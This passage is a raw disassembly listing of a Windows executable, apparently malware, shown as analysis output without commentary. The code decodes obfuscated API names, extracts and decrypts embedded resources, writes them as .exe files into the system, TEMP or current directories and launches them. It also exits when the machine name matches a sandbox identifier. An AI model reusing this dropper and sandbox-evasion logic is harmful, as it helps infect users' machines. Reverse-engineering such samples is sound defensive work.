					; DATA XREF: sub_407758+43o
		dd 0Bh
dword_4078F8	dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh,	0Dh
					; DATA XREF: sub_407758+61o
dword_40790C	dd 959F9A77h, 0A0A49683h, 9694A3A6h, 72h, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_407758+7Do
dword_407924	dd 96AB9A84h, 968397A0h, 0A3A6A0A4h, 9694h, 0FFFFFFFFh
					; DATA XREF: sub_407758+98o
		dd 0Ch
dword_40793C	dd 9592A07Dh, 0A0A49683h, 9694A3A6h, 0		dd 0FFFFFFFFh, 0Ch
dword_407954	dd 9C94A07Dh, 0A0A49683h, 9694A3A6h, 0		dd 0FFFFFFFFh, 0Ch
dword_40796C	dd 9696A377h, 0A0A49683h, 9694A3A6h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797C	proc near		; CODE XREF: CODE:00407D65p
					; CODE:00407D95p ...

var_109		= byte ptr -109h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	esi
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_407A04
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_4025C8
		lea	eax, [ebp+var_109]
		xor	ecx, ecx
		mov	edx, 105h
		call	sub_401964
		mov	ebx, 105h
		push	ebx
		lea	eax, [ebp+var_109]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_402A38
		push	eax
		call	sub_403630	; GetEnvironmentVariableA
		mov	ebx, eax
		test	ebx, ebx
		jbe	short loc_4079EE
		mov	eax, esi
		lea	edx, [ebp+var_109]
		mov	ecx, 105h
		call	sub_402814


loc_4079EE:				; CODE XREF: sub_40797C+5Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407A0B


loc_4079FB:				; CODE XREF: sub_40797C+8Dj
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_407A04:				; DATA XREF: sub_40797C+1Bo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4079FB
; ---------------------------------------------------------------------------


loc_407A0B:				; CODE XREF: sub_40797C+87j
					; DATA XREF: sub_40797C+7Ao
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40797C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A14	proc near		; CODE XREF: CODE:00407D77p
					; CODE:00407DB4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402A28
		mov	eax, [ebp+var_8]
		call	sub_402A28
		mov	eax, [ebp+var_C]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_407AAF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	short loc_407A7A
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407A14+73j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_402B78
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		call	sub_402840
		mov	ecx, eax
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_402AD4
		lea	edx, [ebp+var_4]
		mov	ecx, ebx
		mov	eax, [ebp+var_C]
		call	sub_402B1C


loc_407A7A:				; CODE XREF: sub_407A14+36j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_402B78
		test	eax, eax
		jg	short loc_407A4C
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		call	sub_40261C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407AB6


loc_407AA1:				; CODE XREF: sub_407A14+A0j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_407AAF:				; DATA XREF: sub_407A14+2Bo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_407AA1
; ---------------------------------------------------------------------------


loc_407AB6:				; CODE XREF: sub_407A14+9Aj
					; DATA XREF: sub_407A14+88o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407A14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407AC0	proc near		; CODE XREF: CODE:00407DFDp
		push	ebx
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		mov	eax, esp
		xor	ecx, ecx
		mov	edx, 105h
		call	sub_401964
		push	esp
		push	104h
		call	sub_403620	; GetCurrentDirectoryA
		mov	eax, ebx
		mov	edx, esp
		mov	ecx, 105h
		call	sub_402814
		add	esp, 108h
		pop	ebx
		retn
sub_407AC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AF8	proc near		; DATA XREF: CODE:00407B6Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_407B17
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407B1E


loc_407B16:				; CODE XREF: sub_407AF8+24j
		retn
; ---------------------------------------------------------------------------


loc_407B17:				; DATA XREF: sub_407AF8+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_407B16
; ---------------------------------------------------------------------------


loc_407B1E:				; CODE XREF: sub_407AF8:loc_407B16j
					; DATA XREF: sub_407AF8+19o
		pop	ebp
		retn
sub_407AF8	endp

; ---------------------------------------------------------------------------
dword_407B20	dd 9							; BSS:off_40A5B4o
		dd offset off_407B28
off_407B28	dd offset loc_403598	; DATA XREF: CODE:00407B24o
		dd offset sub_403568
		dd offset sub_403450
		dd offset sub_403408
		dd offset sub_4035D0
		dd offset sub_4035A0
		dd offset sub_4036E8
		dd offset sub_4036B8
		dd offset sub_403720
		dd offset sub_4036F0
		dd offset sub_4039D0
		dd offset sub_4039A0
		dd offset sub_406D18
		dd offset sub_406B98
		dd offset sub_406F70
		dd offset sub_406F40
		dd 0
		dd offset sub_407AF8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 0Dh


loc_407B78:				; CODE XREF: CODE:00407B7Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_407B78
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_407B20
		call	sub_403524
		xor	eax, eax
		push	ebp
		push	offset loc_407FD2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_407FE4
		call	sub_403678	; LoadLibraryA
		mov	ds:dword_40AA44, eax
		push	offset dword_407FF4
		call	sub_403678	; LoadLibraryA
		mov	ds:dword_40AA48, eax
		lea	edx, [ebp-14h]
		mov	eax, offset dword_408008
		call	sub_407038
		mov	eax, [ebp-14h]
		call	sub_402A38
		push	eax
		mov	eax, ds:dword_40AA44
		push	eax
		call	sub_403650	; GetProcAddress
		mov	ebx, eax
		lea	edx, [ebp-18h]
		mov	eax, offset dword_408020
		call	sub_407038
		mov	eax, [ebp-18h]
		call	sub_402A38
		push	eax
		mov	eax, ds:dword_40AA44
		push	eax
		call	ebx
		mov	ds:dword_40AA38, eax
		lea	edx, [ebp-1Ch]
		mov	eax, offset dword_408034
		call	sub_407038
		mov	eax, [ebp-1Ch]
		call	sub_402A38
		push	eax
		mov	eax, ds:dword_40AA48
		push	eax
		call	ebx
		mov	ds:dword_40AA3C, eax
		lea	edx, [ebp-20h]
		mov	eax, offset dword_40804C
		call	sub_407038
		mov	eax, [ebp-20h]
		call	sub_402A38
		push	eax
		mov	eax, ds:dword_40AA44
		push	eax
		call	ebx
		mov	ds:dword_40AA40, eax
		mov	edx, offset aInfo ; "INFO"
		mov	eax, offset dword_40A7D4
		call	sub_407758
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_407C61
		push	0
		call	ds:dword_40AA40	; ExitProcess


loc_407C61:				; CODE XREF: CODE:00407C57j
		mov	edx, offset byte_40A7E0
		mov	eax, ebx
		mov	ecx, ds:dword_40A7D4
		call	sub_401340
		mov	esi, 1
		mov	eax, offset dword_40A8E4
		call	sub_4025C8
		mov	edi, 0Ah


loc_407C87:				; CODE XREF: CODE:00407F91j
		lea	edx, [ebp-24h]
		mov	eax, esi
		call	sub_407720
		mov	ecx, [ebp-24h]
		mov	eax, offset dword_40A8E4
		mov	edx, offset dword_408068
		call	sub_40288C
		mov	eax, ds:dword_40A8E4
		call	sub_402A38
		mov	edx, eax
		mov	eax, offset dword_40A7D8
		call	sub_407758
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_407F87
		mov	eax, offset dword_40A7DC
		mov	edx, ds:dword_40A7D8
		call	sub_402BC0
		mov	eax, offset dword_40A7DC
		call	sub_402A8C
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, ds:dword_40A7D8
		call	sub_401340
		cmp	ds:byte_40A8E1,	1
		jnz	short loc_407D2B
		lea	edx, [ebp-30h]
		mov	eax, ds:dword_40A7DC
		call	sub_407038
		mov	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_406DAC
		mov	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_406E6C
		mov	edx, [ebp-28h]
		mov	eax, offset dword_40A7DC
		call	sub_40261C
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D2B:				; CODE XREF: CODE:00407CF3j
		lea	edx, [ebp-34h]
		mov	eax, ds:dword_40A7DC
		call	sub_407038
		mov	edx, [ebp-34h]
		mov	eax, offset dword_40A7DC
		call	sub_40261C


loc_407D45:				; CODE XREF: CODE:00407D29j
		mov	eax, offset dword_40A8E8
		mov	edx, offset byte_40A7E1
		mov	ecx, 100h
		call	sub_402814
		lea	eax, [ebp-38h]
		push	eax
		lea	edx, [ebp-3Ch]
		mov	eax, offset aSystemroot	; "SystemRoot"
		call	sub_40797C
		mov	ecx, [ebp-3Ch]
		mov	edx, offset dword_408088
		mov	eax, ds:dword_40A8E8
		call	sub_407A14
		mov	edx, [ebp-38h]
		mov	eax, offset dword_40A8E8
		call	sub_40261C
		lea	eax, [ebp-40h]
		push	eax
		lea	edx, [ebp-44h]
		mov	eax, offset aSystemroot	; "SystemRoot"
		call	sub_40797C
		lea	eax, [ebp-44h]
		mov	edx, offset dword_40809C
		call	sub_402848
		mov	ecx, [ebp-44h]
		mov	edx, offset dword_4080B0
		mov	eax, ds:dword_40A8E8
		call	sub_407A14
		mov	edx, [ebp-40h]
		mov	eax, offset dword_40A8E8
		call	sub_40261C
		lea	eax, [ebp-48h]
		push	eax
		lea	edx, [ebp-4Ch]
		mov	eax, offset aTemp ; "TEMP"
		call	sub_40797C
		mov	ecx, [ebp-4Ch]
		mov	edx, offset dword_4080D4
		mov	eax, ds:dword_40A8E8
		call	sub_407A14
		mov	edx, [ebp-48h]
		mov	eax, offset dword_40A8E8
		call	sub_40261C
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-54h]
		call	sub_407AC0
		mov	ecx, [ebp-54h]
		mov	edx, offset dword_4080E4
		mov	eax, ds:dword_40A8E8
		call	sub_407A14
		mov	edx, [ebp-50h]
		mov	eax, offset dword_40A8E8
		call	sub_40261C
		cmp	ds:byte_40A7E0,	0
		jz	loc_407F33
		mov	eax, ds:dword_40A8E8
		call	sub_402A38
		mov	ebx, eax
		mov	edx, ebx
		lea	eax, [ebp-58h]
		call	sub_40279C
		mov	eax, [ebp-58h]
		call	sub_4075F4
		test	al, al
		jnz	short loc_407E76
		push	0
		push	ebx
		call	sub_4035E0	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_407E76
		lea	edx, [ebp-5Ch]
		mov	eax, offset aTemp ; "TEMP"
		call	sub_40797C
		mov	edx, [ebp-5Ch]
		mov	eax, offset dword_40A8E8
		call	sub_40261C


loc_407E76:				; CODE XREF: CODE:00407E4Ej
					; CODE:00407E5Aj
		call	sub_4014EC
		push	ds:dword_40A8E8
		push	offset dword_4080F8
		imul	eax, esi, 1388h
		call	sub_401984
		lea	edx, [ebp-60h]
		call	sub_407720
		push	dword ptr [ebp-60h]
		push	offset dword_408104
		mov	eax, offset dword_40A8E8
		mov	edx, 4
		call	sub_402900
		mov	edx, ds:dword_40A8E8
		mov	eax, offset dword_40A8EC
		call	sub_401780
		mov	edx, 1
		mov	eax, offset dword_40A8EC
		call	sub_401AA8
		call	sub_4012E4
		call	sub_401320
		test	eax, eax
		jnz	loc_407F8F
		push	0
		mov	eax, offset dword_40A7DC
		call	sub_402A8C
		mov	edx, eax
		mov	ecx, ds:dword_40A7D8
		mov	eax, offset dword_40A8EC
		call	sub_4018D0
		call	sub_4012E4
		mov	eax, offset dword_40A8EC
		call	sub_4018F0
		call	sub_4012E4
		push	1
		push	0
		push	0
		mov	eax, ds:dword_40A8E8
		call	sub_402A38
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_40AA3C
		jmp	short loc_407F8F
; ---------------------------------------------------------------------------


loc_407F33:				; CODE XREF: CODE:00407E28j
		call	sub_406F88
		cmp	al, 1
		jnz	short loc_407F43
		xor	eax, eax
		call	sub_4025B0
; ---------------------------------------------------------------------------


loc_407F43:				; CODE XREF: CODE:00407F3Aj
		lea	eax, [ebp-64h]
		call	sub_406FBC
		mov	eax, [ebp-64h]
		mov	edx, offset aSyntheticuser_ ; "SYNTHETICUSER.FGVS"
		call	sub_402984
		jnz	short loc_407F61
		xor	eax, eax
		call	sub_4025B0
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: CODE:00407F58j
		push	0
		lea	edx, [ebp-68h]
		xor	eax, eax
		call	sub_40148C
		mov	eax, [ebp-68h]
		push	eax
		mov	eax, offset dword_40A7DC
		call	sub_402A8C
		xor	ecx, ecx
		pop	edx
		call	sub_4070E0
		test	al, al
		jmp	short loc_407F8F
; ---------------------------------------------------------------------------


loc_407F87:				; CODE XREF: CODE:00407CBDj
		push	0
		call	ds:dword_40AA40	; ExitProcess


loc_407F8F:				; CODE XREF: CODE:00407EDBj
					; CODE:00407F31j ...
		inc	esi
		dec	edi
		jnz	loc_407C87
		push	0
		call	ds:dword_40AA40	; ExitProcess
		mov	eax, ds:dword_40AA48
		push	eax
		call	ds:dword_40AA38	; FreeLibrary
		mov	eax, ds:dword_40AA44
		push	eax
		call	ds:dword_40AA38	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407FD9


loc_407FC4:				; CODE XREF: CODE:00407FD7j
		lea	eax, [ebp-68h]
		mov	edx, 16h
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_407FD2:				; DATA XREF: CODE:00407B8Fo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_407FC4
; ---------------------------------------------------------------------------


loc_407FD9:				; CODE XREF: CODE:00407FD1j
					; DATA XREF: CODE:00407FBFo
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4024E0
; ---------------------------------------------------------------------------
		align 4
dword_407FE4	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0dword_407FF4	dd 6C656873h, 2E32336Ch, 6C6C64h, 0FFFFFFFFh, 0Eh
					; DATA XREF: CODE:00407BA9o
dword_408008	dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh
					; DATA XREF: CODE:00407BBBo
		dd 0Bh
dword_408020	dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh,	0Dh
					; DATA XREF: CODE:00407BDEo
dword_408034	dd 9D969984h, 96A9769Dh, 96A5A694h, 72h, 0FFFFFFFFh, 0Bh
					; DATA XREF: CODE:00407C01o
dword_40804C	dd 0A59AA976h, 94A0A381h, 0A4A496haInfo		db 'INFO',0             ; DATA XREF: CODE:00407C44o
		align 10h
		dd 0FFFFFFFFh, 2
dword_408068	dd 4643h, 0FFFFFFFFh, 0AhaSystemroot	db 'SystemRoot',0       ; DATA XREF: CODE:00407D60o
					; CODE:00407D90o
		align 10h
		dd 0FFFFFFFFh, 8
dword_408088	dd 6E697725h, 25726964h, 0		dd 0FFFFFFFFh, 9
dword_40809C	dd 7379535Ch, 336D6574h, 32h, 0FFFFFFFFh, 8dword_4080B0	dd 73797325h, 25726964h, 0		dd 0FFFFFFFFh, 4
aTemp		db 'TEMP',0             ; DATA XREF: CODE:00407DCDo
					; CODE:00407E5Fo
		align 4
		dd 0FFFFFFFFh, 6
dword_4080D4	dd 6D657425h, 2570h, 0FFFFFFFFh, 9dword_4080E4	dd 72756325h, 746E6572h, 25h, 0FFFFFFFFh, 1dword_4080F8	dd 5Ch,	0FFFFFFFFh, 4dword_408104	dd 6578652Eh, 0	aOpen		db 'open',0             ; DATA XREF: CODE:00407F24o
		align 4
		dd 0FFFFFFFFh, 12h
aSyntheticuser_	db 'SYNTHETICUSER.FGVS',0 ; DATA XREF: CODE:00407F4Eo
		align 10h
		dd 34h dup(?)
CODE		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00000418 (   1048.)
; Section size in file		: 00000418 (   1048.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 409000h
dword_409000	dd 0							; sub_4024E0+9o ...
dword_409004	dd 0							; sub_4024E0:loc_40250Fr ...
dword_409008	dd 0							; sub_401984+3r ...
byte_40900C	db 2			; DATA XREF: sub_4019C8+4Er
		db 8Dh,	40h, 0
word_409010	dw 1332h		; DATA XREF: sub_401EE8+3r
		dw 0C08Bh
byte_409014	db 0			; DATA XREF: sub_4020F0r sub_40210Cr ...
		db 8Dh,	40h, 0
byte_409018	db 0			; DATA XREF: sub_4021A4+52r
					; sub_4021A4:loc_402231r
		db 8Dh,	40h, 0
byte_40901C	db 1			; DATA XREF: sub_401780+25r
		db 8Dh,	40h, 0
off_409020	dd offset dword_409094	; DATA XREF: sub_402F04r sub_403368r ...
dword_409024	dd 0		off_409028	dd offset sub_403378	; DATA XREF: sub_4024E0+66r
off_40902C	dd offset nullsub_1	; DATA XREF: sub_402C70+67r
off_409030	dd offset nullsub_1	; DATA XREF: sub_402C70+71r
off_409034	dd offset sub_4023B8	; DATA XREF: sub_4023B8+Fr
					; sub_4023B8+35r ...
off_409038	dd offset sub_402384	; DATA XREF: sub_4024E0:loc_40252Er
off_40903C	dd offset nullsub_1	; DATA XREF: sub_4024E0:loc_402561r
off_409040	dd offset nullsub_1	; DATA XREF: sub_403408:loc_403430r
dword_409044	dd 0							; sub_4011C4+4r ...
off_409048	dd offset sub_4011B0	; DATA XREF: sub_401200+4r
					; sub_401230+3Fr
off_40904C	dd offset sub_4011C4	; DATA XREF: sub_401218+4r
					; sub_401230+26r
off_409050	dd offset sub_4011E8	; DATA XREF: sub_401230+Dr
byte_409054	db 0			; DATA XREF: sub_40128C+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0
aFxn@		db 'äå@',0
dword_409070	dd 3				align 8
		dd 1, 2, 3, 3 dup(0)
off_409090	dd offset nullsub_1	; DATA XREF: sub_4024E0+38r
dword_409094	dd 0							; sub_403524+33o ...
dword_409098	dd 400000h	dword_40909C	dd 0		dword_4090A0	dd 0				dd 400000h, 0
dword_4090AC	dd 0		dword_4090B0	dd 0		dword_4090B4	dd 2							; sub_406350+69r
dword_4090B8	dd 5		dword_4090BC	dd 1		dword_4090C0	dd 0A28h	dword_4090C4	dd 1457B8h						; sub_406B98+149o
dword_4090C8	dd 0							; sub_4060EC+1Br ...
		dd 7 dup(0)
off_4090E8	dd offset dword_4043C8	; DATA XREF: sub_406B98+70o
					; sub_406D18+37o
dword_4090EC	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_40685C:loc_40687Dr ...
off_4090F0	dd offset dword_404410	; DATA XREF: sub_406B98+5Bo
		dd offset dword_404410+0Ch
off_4090F8	dd offset off_4037E8	; DATA XREF: sub_404654+43r
					; CODE:00406B8Co
off_4090FC	dd offset off_4037F0	; DATA XREF: CODE:00406B80o
tbyte_409100	dt 1.0e18		; DATA XREF: sub_404F3D+63r
		dw 0C08Bh
flt_40910C	db 0Ah,	0, 0, 0		; DATA XREF: sub_404BF4+23r
					; sub_404F3D+78r
off_409110	dd offset off_403870	; DATA XREF: sub_4051EC+3Ao
					; CODE:00406B74o
off_409114	dd offset off_403878	; DATA XREF: CODE:00406B68o
off_409118	dd offset off_403880	; DATA XREF: CODE:00406B5Co
off_40911C	dd offset off_403888	; DATA XREF: CODE:00406B50o
off_409120	dd offset off_403890	; DATA XREF: CODE:00406B44o
off_409124	dd offset off_403898	; DATA XREF: CODE:00406B38o
off_409128	dd offset off_4038A0	; DATA XREF: CODE:00406B2Co
off_40912C	dd offset off_4038A8	; DATA XREF: CODE:00406B20o
off_409130	dd offset off_4038B0	; DATA XREF: CODE:00406B14o
off_409134	dd offset off_4038B8	; DATA XREF: CODE:00406B08o
off_409138	dd offset off_4038C0	; DATA XREF: CODE:00406AFCo
off_40913C	dd offset off_4038C8	; DATA XREF: CODE:00406AF0o
off_409140	dd offset off_4038D0	; DATA XREF: sub_4051EC+5Do
					; CODE:00406AE4o
off_409144	dd offset off_4038D8	; DATA XREF: CODE:00406AD8o
off_409148	dd offset off_4038E0	; DATA XREF: CODE:00406ACCo
off_40914C	dd offset off_4038E8	; DATA XREF: CODE:00406AC0o
off_409150	dd offset off_4038F0	; DATA XREF: CODE:00406AB4o
off_409154	dd offset off_4038F8	; DATA XREF: CODE:00406AA8o
off_409158	dd offset off_403900	; DATA XREF: CODE:00406A9Co
off_40915C	dd offset off_403908	; DATA XREF: CODE:00406A90o
off_409160	dd offset off_403910	; DATA XREF: CODE:00406A84o
off_409164	dd offset off_403918	; DATA XREF: CODE:00406A78o
off_409168	dd offset off_403920	; DATA XREF: CODE:00406A6Co
off_40916C	dd offset off_403928	; DATA XREF: CODE:00406A60o
off_409170	dd offset off_403930	; DATA XREF: sub_4051EC+A9o
					; CODE:00406A54o
off_409174	dd offset off_403938	; DATA XREF: CODE:00406A48o
off_409178	dd offset off_403940	; DATA XREF: CODE:00406A3Co
off_40917C	dd offset off_403948	; DATA XREF: CODE:00406A30o
off_409180	dd offset off_403950	; DATA XREF: CODE:00406A24o
off_409184	dd offset off_403958	; DATA XREF: CODE:00406A18o
off_409188	dd offset off_403960	; DATA XREF: CODE:00406A0Co
off_40918C	dd offset off_403968	; DATA XREF: sub_4051EC+CEo
					; CODE:00406A00o
off_409190	dd offset off_403970	; DATA XREF: CODE:004069F4o
off_409194	dd offset off_403978	; DATA XREF: CODE:004069E8o
off_409198	dd offset off_403980	; DATA XREF: CODE:004069DCo
off_40919C	dd offset off_403988	; DATA XREF: CODE:004069D0o
off_4091A0	dd offset off_403990	; DATA XREF: CODE:004069C4o
off_4091A4	dd offset off_403998	; DATA XREF: CODE:004069B8o
dword_4091A8	dd 2							; sub_406B98+46o
dword_4091AC	dd 145718h						; CODE:004069ACo
		dd 3
dword_4091B4	dd 1456F0h, 4	dword_4091BC	dd 1456C8h, 5	dword_4091C4	dd 1456A0h	dword_4091C8	dd 64h							; sub_405CE4+Fr ...
dword_4091CC	dd 145678h, 65h	dword_4091D4	dd 145658h, 6Ah	dword_4091DC	dd 145630h	off_4091E0	dd offset dword_403CAC	; DATA XREF: sub_406B98+31o
dword_4091E4	dd 145608h			dd offset dword_403D04
dword_4091EC	dd 1455E0h			dd offset dword_403D5C
dword_4091F4	dd 1455B8h			dd offset dword_403E10
dword_4091FC	dd 145580h			dd offset dword_403E68
dword_409204	dd 145550h			dd offset dword_403EC0
dword_40920C	dd 145528h			dd offset dword_403F18
dword_409214	dd 1454F8h			dd offset dword_403FCC
dword_40921C	dd 1454D0h			dd offset dword_404084
dword_409224	dd 1452B0h			dd offset dword_4040E4
dword_40922C	dd 1454A8h			dd offset dword_404198
dword_409234	dd 145488h			dd offset dword_40413C
dword_40923C	dd 145468h			dd offset dword_4041F0
dword_409244	dd 145438h			dd offset dword_4041F0
dword_40924C	dd 145408h			dd offset dword_4041F0
dword_409254	dd 1453D0h			dd offset dword_4041F0
dword_40925C	dd 1453A0h			dd offset dword_4041F0
dword_409264	dd 145378h			dd offset dword_4041F0
dword_40926C	dd 143D80h			dd offset dword_40424C
dword_409274	dd 145350h			dd offset dword_403BF4
dword_40927C	dd 145328h			dd offset dword_404308
dword_409284	dd 145288h			dd offset dword_404364
dword_40928C	dd 1452F8h	dword_409290	dd 20591EC1h	dword_409294	dd 0		dword_409298	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4092B8	dd offset off_403888	; DATA XREF: CODE:00406B54o
off_4092BC	dd offset off_4037F8	; DATA XREF: CODE:00406908o
off_4092C0	dd offset off_403748	; DATA XREF: CODE:004069A0o
off_4092C4	dd offset off_4038D8	; DATA XREF: CODE:00406ADCo
off_4092C8	dd offset off_403918	; DATA XREF: CODE:00406A7Co
off_4092CC	dd offset off_403980	; DATA XREF: CODE:004069E0o
off_4092D0	dd offset off_4038A8	; DATA XREF: CODE:00406B24o
off_4092D4	dd offset off_40A028	; DATA XREF: sub_405FA4+79r
off_4092D8	dd offset off_403838	; DATA XREF: sub_405EC8+73r
					; CODE:004068E0o
off_4092DC	dd offset off_403990	; DATA XREF: CODE:004069C8o
off_4092E0	dd offset off_40A008	; DATA XREF: sub_405FA4+2Er
					; sub_406028+34r
off_4092E4	dd offset off_403968	; DATA XREF: CODE:00406A04o
off_4092E8	dd offset off_403890	; DATA XREF: CODE:00406B48o
off_4092EC	dd offset off_403760	; DATA XREF: CODE:00406988o
off_4092F0	dd offset off_403970	; DATA XREF: CODE:004069F8o
off_4092F4	dd offset off_403950	; DATA XREF: CODE:00406A28o
off_4092F8	dd offset off_403978	; DATA XREF: CODE:004069ECo
off_4092FC	dd offset off_40A01C	; DATA XREF: sub_405FA4+44r
					; sub_406028+46r
off_409300	dd offset off_403730	; DATA XREF: sub_405AA0+44r
off_409304	dd offset off_4037E0	; DATA XREF: CODE:004058A4r
off_409308	dd offset off_403728	; DATA XREF: sub_405FA4r
off_40930C	dd offset off_4038B0	; DATA XREF: CODE:00406B18o
off_409310	dd offset off_403768	; DATA XREF: CODE:00406980o
off_409314	dd offset off_4037E8	; DATA XREF: CODE:00406B90o
off_409318	dd offset off_403860	; DATA XREF: sub_405C4Cr
off_40931C	dd offset off_403900	; DATA XREF: CODE:00406AA0o
off_409320	dd offset dword_40A20C	; DATA XREF: CODE:0040584Er
off_409324	dd offset off_403920	; DATA XREF: CODE:00406A70o
off_409328	dd offset off_403830	; DATA XREF: CODE:004068F8o
off_40932C	dd offset off_40A00C	; DATA XREF: sub_405FA4+51r
					; sub_406028+4Fr
off_409330	dd offset off_4038E0	; DATA XREF: CODE:00406AD0o
off_409334	dd offset off_40A004	; DATA XREF: sub_405FA4+39r
					; sub_406028+3Dr
off_409338	dd offset off_40A010	; DATA XREF: sub_405FA4+5Cr
					; sub_406028+58r
off_40933C	dd offset off_403928	; DATA XREF: CODE:00406A64o
off_409340	dd offset off_4037C0	; DATA XREF: CODE:00406920o
off_409344	dd offset off_4037C8	; DATA XREF: CODE:00406928o
off_409348	dd offset off_403960	; DATA XREF: CODE:00406A10o
off_40934C	dd offset off_403738	; DATA XREF: CODE:004069B0o
off_409350	dd offset off_403780	; DATA XREF: CODE:00406968o
off_409354	dd offset off_4037F0	; DATA XREF: CODE:00406B84o
off_409358	dd offset off_403810	; DATA XREF: CODE:00406900o
off_40935C	dd offset off_4038D0	; DATA XREF: CODE:00406AE8o
off_409360	dd offset off_403848	; DATA XREF: CODE:004068D8o
off_409364	dd offset off_4038F8	; DATA XREF: CODE:00406AACo
off_409368	dd offset off_403828	; DATA XREF: CODE:00406910o
off_40936C	dd offset off_4038E8	; DATA XREF: CODE:00406AC4o
off_409370	dd offset off_403908	; DATA XREF: CODE:00406A94o
off_409374	dd offset off_403820	; DATA XREF: CODE:00406918o
off_409378	dd offset off_403878	; DATA XREF: CODE:00406B6Co
off_40937C	dd offset off_4038B8	; DATA XREF: CODE:00406B0Co
off_409380	dd offset off_403948	; DATA XREF: CODE:00406A34o
off_409384	dd offset off_403758	; DATA XREF: CODE:00406990o
off_409388	dd offset off_403798	; DATA XREF: CODE:00406950o
off_40938C	dd offset off_4038F0	; DATA XREF: CODE:00406AB8o
off_409390	dd offset off_4037A8	; DATA XREF: sub_405FA4+17r
off_409394	dd offset off_403958	; DATA XREF: CODE:00406A1Co
off_409398	dd offset off_4037A0	; DATA XREF: CODE:00406948o
off_40939C	dd offset off_403930	; DATA XREF: CODE:00406A58o
off_4093A0	dd offset off_40A020	; DATA XREF: sub_405FA4+6Cr
					; sub_406028+61r
off_4093A4	dd offset off_403850	; DATA XREF: CODE:004068D0o
off_4093A8	dd offset off_403808	; DATA XREF: sub_405CFC+54r
off_4093AC	dd offset off_403988	; DATA XREF: CODE:004069D4o
off_4093B0	dd offset off_403750	; DATA XREF: CODE:00406998o
off_4093B4	dd offset off_403840	; DATA XREF: sub_405B74+38r
					; CODE:004068E8o
